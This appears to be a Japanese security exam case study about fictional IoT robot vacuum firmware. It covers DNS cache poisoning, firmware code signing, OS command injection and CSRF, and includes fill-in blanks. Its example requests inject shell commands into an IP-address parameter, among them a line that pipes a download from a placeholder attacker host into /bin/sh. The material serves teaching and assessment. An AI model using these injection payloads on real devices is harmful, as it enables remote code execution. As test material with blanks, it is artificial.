IoT製品(ロボット掃除機)開発における脆弱性の組合せ

J社は，家電の製造・販売を手掛ける従業員1,000名の会社である。J社では，自社の売れ筋製品であるロボット掃除機の新製品（以下，製品Rという）を開発し，販売することにした。製品Rの仕様を図1に示す。

図1　製品Rの仕様（抜粋）

• 掃除機能に加え，無線LANへの接続機能を搭載する。さらに，製品Rがもつウェブアプリケーションプログラム（以下，Webアプリ Rという）経由で掃除エリアを設定する機能や掃除履歴を確認する機能を搭載する。
• DHCPでIPアドレスの割当てが行われる。
• スマートフォンにインストールした専用のアプリケーションプログラムは，同一セグメント内にある製品Rを探し，Webアプリ Rにアクセスする。
• 製品Rに設定されたIPアドレスを使い，PCのWebブラウザからWebアプリ Rにアクセスすることもできる。
• 製品Rに搭載するファームウェアにはLinuxベースのOSを用いる。Webアプリ Rはそ のOSの上で動作させる。
• Webアプリ Rは，次の機能を有する。
  1. ログイン機能 Webアプリ Rを使うために，利用者IDとパスワードによる認証を行う。
  2. 掃除エリア設定機能 （省略）
  3. 掃除履歴確認機能 （省略）
  4. ファームウェアアップデート機能 J社のファームウェア提供サーバ（以下，Wサーバという）からインターネット経由で，新しいバージョンのファームウェアを適用する。本機能では，Wサーバに新しいバージョンのファームウェアが存在するかどうかを確認し，存在する場合にはダウンロードして適用する。本機能は，定期的に実行されるが，利用者からWebアプリ R経由でファームウェアアップデートが要求されたときも実行される。本機能ではWサーバの名前解決を行う。製品RからWサーバに対するファームウェアアップデートの要求はHTTPSで行う。
  5. IPアドレス設定機能 製品Rに新しいIPアドレスを設定する。POSTメソッドによる入力だけを受け付ける。

Webアプリ Rを含むファームウェアの開発は，開発部のFさんとG主任が担当することになった。

〔各機能のセキュリティ対策の検討〕

まず，Fさんは，ファームウェアアップデート機能のセキュリティ対策を検討した。ファームウェアアップデート機能が偽のファームウェアをダウンロードしてしまうケースを考えた。そのケースには，DNSキャッシュサーバが権威DNSサーバにWサーバの名前解決要求を行ったときに，攻撃者が偽装したDNS応答を送信するという手法を使って攻撃を行うケースがある。この攻撃手法は 【 a 】 と呼ばれる。

この攻撃は，DNSキャッシュサーバが通信プロトコルに 【 b 】 を使って名前解決要求を送信し，かつ，攻撃者が送信したDNS応答が，当該DNSキャッシュサーバに到達できることに加えて，①幾つかの条件を満たした場合に成功する。攻撃が成功すると，DNSキャッシュサーバが攻撃者による応答を正当なDNS応答として処理してしまい，偽の情報が保存される。当該DNSキャッシュサーバを製品Rが利用して，この攻撃の影響を受けると，攻撃者のサーバから偽のファームウェアをダウンロードしてしまう。しかし，Fさんは，②製品Rは，Wサーバとの間の通信においてHTTPSを適切に実装しているので，この攻撃の影響は受けないと考えた。Fさんは，ファームウェアアップデート機能のセキュリティ対策がこれで十分か，G主任に相談した。次は，この時のG主任とFさんとの会話である。

G主任：攻撃者のサーバから偽のファームウェアをダウンロードさせる攻撃は回避できます。しかし，偽のファームウェアをダウンロードしてしまう場合として，ほかにも，攻撃者がWサーバに侵入するなどの方法でファームウェアを直接置き換える場合もあります。対策として，ファームウェアに 【 c 】 を導入しましょう。まず，製品Rでは 【 c 】 証明書がJ社のものであることを検証します。その上で，検証された 【 c 】 証明書を使って，ダウンロードしたファームウェアの真正性を検証しましょう。

Fさん：分かりました。

続いて，Fさんは，Webアプリ Rの実装について開発部の他の部員にレビューを依頼した。その結果，脆弱性Aと脆弱性Bの二つの脆弱性が指摘された。

〔脆弱性A〕

IPアドレス設定機能には，任意のコマンドを実行してしまう脆弱性がある。図2に示すように，利用者がIPアドレス設定画面でIPアドレス，サブネットマスク及びデフォルトゲートウェイのIPアドレスをそれぞれ入力してから確認ボタンをクリックし，IPアドレス設定確認画面で確定ボタンをクリックすると，setvalueに対して図3に示すリクエストが送信される。setvalueが図3中のパラメータを含むコマンド文字列をシェルに渡すと，図4のIPアドレス設定を行うコマンドなどが実行される。

図2　IPアドレス設定に用いる画面

IPアドレス設定画面

（画面下部に［確認］ボタン）

IPアドレス設定確認画面

（画面下部に［確定］ボタン）

図3　setvalueに送信されるリクエスト

POST /setvalue HTTP/1.1
Host: 192.168.1.100 1)
（中略）

ipaddress=192.168.1.101&netmask=255.255.255.0&defaultgw=192.168.1.1

注1) "192.168.1.100"は，製品Rの変更前のIPアドレスである。

図4　IPアドレス設定を行うコマンド

ifconfig eth1 "192.168.1.101" netmask "255.255.255.0"

リクエストに対するsetvalueの処理には， 【 d 】 しまうという問題点があるので，setvalueに対して，図5に示す細工されたリクエストが送られると，製品Rは想定外のコマンドを実行してしまう。

図5　細工されたリクエストの例

POST /setvalue HTTP/1.1
Host: 192.168.1.100
（中略）

ipaddress=192.168.1.101&netmask=255.255.255.0";ping -c 1 192.168.1.10;"&defaultgw=19
2.168.1.1 1) 2)

注1) "192.168.1.10"は，製品Rから到達可能なIPアドレスである。 注2) URLデコード済みである。

〔脆弱性B〕

IPアドレス設定機能には，ログイン済みの利用者が攻撃者によって設置された罠サイトにアクセスし，利用者が意図せずに悪意のあるリクエストをWebアプリ Rに送信させられた場合に，Webアプリ Rがそのリクエストを受け付けて処理してしまう脆弱性がある。

〔脆弱性の修正〕

次は，二つの脆弱性の指摘を踏まえて修正を検討した時の，FさんとG主任の会話である。

Fさん：脆弱性Aですが，悪用されるリスクは低いです。というのは，利用者宅内にある製品Rは，インターネットからは直接アクセスできないと想定されるからです。攻撃するには，攻撃者は利用者宅の同一セグメントにつなぎ，不正なログインも成功させる必要があります。修正の優先度を下げてもよいのではないでしょうか。

G主任：確かに脆弱性Aだけを悪用されるリスクは低いでしょう。しかし，例えば，攻撃者が，Webアプリ Rにログイン済みの利用者を罠サイトに誘い，③図6の攻撃リクエストを送信させると，脆弱性Bが悪用され，その後，脆弱性Aが悪用されます。この結果，製品Rは攻撃者のファイルをダウンロードして実行してしまいます。このリスクは低くありません。

図6　攻撃リクエスト

POST /setvalue HTTP/1.1
Host: 192.168.1.100
（中略）

ipaddress=192.168.1.101&netmask=255.255.255.0";curl http://△△△.com | /bin/sh
-;"&defaultgw=192.168.1.1 1) 2)

注1) "http://△△△.com"は，攻撃者のファイルをダウンロードさせるためのURLである。 注2) URLデコード済みである。

Fさん：分かりました。脆弱性Aと脆弱性Bの両方を修正します。

Fさんは，脆弱性Aへの対策として，利用者からリクエストのパラメータとして受け取ったIPアドレス情報を，コマンドを用いず安全にIPアドレスを設定できるライブラリ関数を利用する方法で設定することにした。次に，脆弱性Bについては，利用者からのリクエストのパラメータに，セッションにひも付けられ，かつ， 【 e 】 という特徴をもつトークンを付与し，Webアプリ Rはそのトークンを検証するように修正した。

FさんとG主任は，そのほかに必要なテストも行って，Webアプリ Rを含むファームウェアの開発を完了した。